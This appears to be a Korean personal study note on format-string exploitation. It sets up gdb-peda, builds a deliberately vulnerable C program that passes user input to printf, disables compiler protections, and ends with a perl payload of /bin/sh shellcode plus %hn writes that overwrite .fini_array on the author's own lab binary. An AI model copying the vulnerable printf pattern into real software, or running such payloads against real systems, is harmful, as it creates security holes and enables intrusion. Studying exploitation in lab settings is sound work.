ubuntu gdb peda 사용

apt-get install git

git 설치후

git clone https://github.com/longld/peda.git ~/peda

echo "source ~/peda/peda.py" >> ~/.gdbinit

echo "DONE! debug your program with gdb and enjoy"

수행하면 gdb-peda가 설치됨.

http://noplanlife.com/?p=968 << 여기서 peda 명령어 살펴보기

#include <stdio.h>

int main()

{

        int answer = 0x31337;

        char buf[512];

        fgets(buf, 511, stdin);

        printf(buf);

        if(answer == 0x8787)

                printf("You Win!\n");

        exit(0);

}

yama88@ubuntu:~$ gcc -o buftest2 buftest2.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack

yama88@ubuntu:~$ readelf -S ./buftest2

 [19] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4

쓰기 권한이 있어서 쉘코드 주소값을 덮어 씌울 수 잇습니다.

explainshell.com 에서 리눅스 명령어 구조 살펴보기 가능

gdb-peda$ vmmap

Warning: not running or target is remote

Start      End        Perm Name

0x08048334 0x080485b8 rx-p /home/yama88/buftest2

0x08048154 0x080486a4 r--p /home/yama88/buftest2

0x08049f08 0x0804a034 rw-p /home/yama88/buftest2

브레이크와 실행 후 매핑 주소 살펴보기

gdb-peda$ pdisas main

Dump of assembler code for function main:

   0x080484cd <+0>: push   ebp

   0x080484ce <+1>: mov    ebp,esp

   0x080484d0 <+3>: sub    esp,0x210

   0x080484d6 <+9>: mov    DWORD PTR [ebp-0x4],0x31337

   0x080484dd <+16>: mov    eax,ds:0x804a02c

   0x080484e2 <+21>: mov    DWORD PTR [esp+0x8],eax

   0x080484e6 <+25>: mov    DWORD PTR [esp+0x4],0x1ff

   0x080484ee <+33>: lea    eax,[ebp-0x204]

   0x080484f4 <+39>: mov    DWORD PTR [esp],eax

   0x080484f7 <+42>: call   0x8048380 <fgets@plt>

   0x080484fc <+47>: lea    eax,[ebp-0x204]

   0x08048502 <+53>: mov    DWORD PTR [esp],eax

   0x08048505 <+56>: call   0x8048370 <printf@plt>

   0x0804850a <+61>: cmp    DWORD PTR [ebp-0x4],0x8787

   0x08048511 <+68>: jne    0x804851f <main+82>

   0x08048513 <+70>: mov    DWORD PTR [esp],0x80485c0

   0x0804851a <+77>: call   0x8048390 <puts@plt>

   0x0804851f <+82>: mov    DWORD PTR [esp],0x0

   0x08048526 <+89>: call   0x80483b0 <exit@plt>

End of assembler dump.

gdb-peda$ b *main+0

Breakpoint 1 at 0x80484cd

gdb-peda$ r

Starting program: /home/yama88/buftest2 

gdb-peda$ vmmap

Start      End        Perm Name

0x08048000 0x08049000 r-xp /home/yama88/buftest2

0x08049000 0x0804a000 r-xp /home/yama88/buftest2

0x0804a000 0x0804b000 rwxp /home/yama88/buftest2

0xb7e17000 0xb7e18000 rwxp mapped

0xb7e18000 0xb7fc1000 r-xp /lib/i386-linux-gnu/libc-2.19.so

0xb7fc1000 0xb7fc3000 r-xp /lib/i386-linux-gnu/libc-2.19.so

0xb7fc3000 0xb7fc4000 rwxp /lib/i386-linux-gnu/libc-2.19.so

0xb7fc4000 0xb7fc7000 rwxp mapped

0xb7fdb000 0xb7fdd000 rwxp mapped

0xb7fdd000 0xb7fde000 r-xp [vdso]

0xb7fde000 0xb7ffe000 r-xp /lib/i386-linux-gnu/ld-2.19.so

0xb7ffe000 0xb7fff000 r-xp /lib/i386-linux-gnu/ld-2.19.so

0xb7fff000 0xb8000000 rwxp /lib/i386-linux-gnu/ld-2.19.so

0xbffdf000 0xc0000000 rwxp [stack]

fini_array()가 쓰기 권한을 없애고 READ 권한으로 바꿔버린다.

yama88@ubuntu:~$ readelf -l ./buftest2

Elf file type is EXEC (Executable file)

Entry point 0x80483d0

There are 9 program headers, starting at offset 52

Program Headers:

  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align

  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4

  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1

      [Requesting program interpreter: /lib/ld-linux.so.2]

  LOAD           0x000000 0x08048000 0x08048000 0x006a4 0x006a4 R E 0x1000

  LOAD           0x000f08 0x08049f08 0x08049f08 0x00124 0x0012c RW  0x1000

  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4

  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4

  GNU_EH_FRAME   0x0005cc 0x080485cc 0x080485cc 0x0002c 0x0002c R   0x4

  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10

  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1

결론, 실제로는 쓰기 권한이 있지만 RELRO가 쓰기 권한을 제거해서 우회가 어려움. 처음에 컴파일 할 때부터 수정한다.

yama88@ubuntu:~$ gcc -o buftest2 buftest2.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -Wl,-z,nonrelro

esp            0xbffff10c

fini_array = 08049f0c

/home/yama88/buftest <<< $(perl -e 'print 

"

\x08\xee\xff\xbf

\x0e\xef\xff\xbf

\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80

%61196c%3\$hn

%53491c%4\$hn

"';cat)

esp            0xbffff108

0xbffff10C = ret 주소

ef0c = 61196

114687 - 61196 = 53491